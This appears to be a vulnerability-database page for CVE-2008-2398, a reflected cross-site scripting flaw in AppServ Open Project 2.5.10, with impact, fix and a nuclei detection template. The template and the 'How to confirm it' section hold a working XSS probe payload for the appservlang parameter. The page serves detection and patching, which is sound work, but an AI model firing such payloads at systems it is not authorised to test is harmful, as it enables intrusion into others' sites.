HexBrain

Browse / CVEs / CVE-2008-2398

CVE-2008-2398· appserv open project / appserv· CWE-79

AppServ Open Project <=2.5.10 - Cross-Site Scripting

mediumseverity
4.3CVSS score
6.2%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

AppServ Open Project 2.5.10 and earlier contains a cross-site scripting vulnerability in index.php which allows remote attackers to inject arbitrary web script or HTML via the appservlang parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade to a patched version of AppServ Open Project (>=2.5.11) or apply the necessary security patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E
Positive when: contains "<svg/onload=confirm('xss')>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2008-2398 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2008-2398

info:
  name: AppServ Open Project <=2.5.10 - Cross-Site Scripting
  author: unstabl3
  severity: medium
  description: AppServ Open Project 2.5.10 and earlier contains a cross-site scripting vulnerability in index.php which allows remote attackers to inject arbitrary web script or HTML via the appservlang parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to a patched version of AppServ Open Project (>=2.5.11) or apply the necessary security patches provided by the vendor.
  reference:
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/42546
    - http://securityreason.com/securityalert/3896
    - https://nvd.nist.gov/vuln/detail/CVE-2008-2398
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2008-2398
    cwe-id: CWE-79
    epss-score: 0.06232
    epss-percentile: 0.93598
    cpe: cpe:2.3:a:appserv_open_project:appserv:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: appserv_open_project
    product: appserv
  tags: cve2008,cve,xss,appserv_open_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=confirm('xss')>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from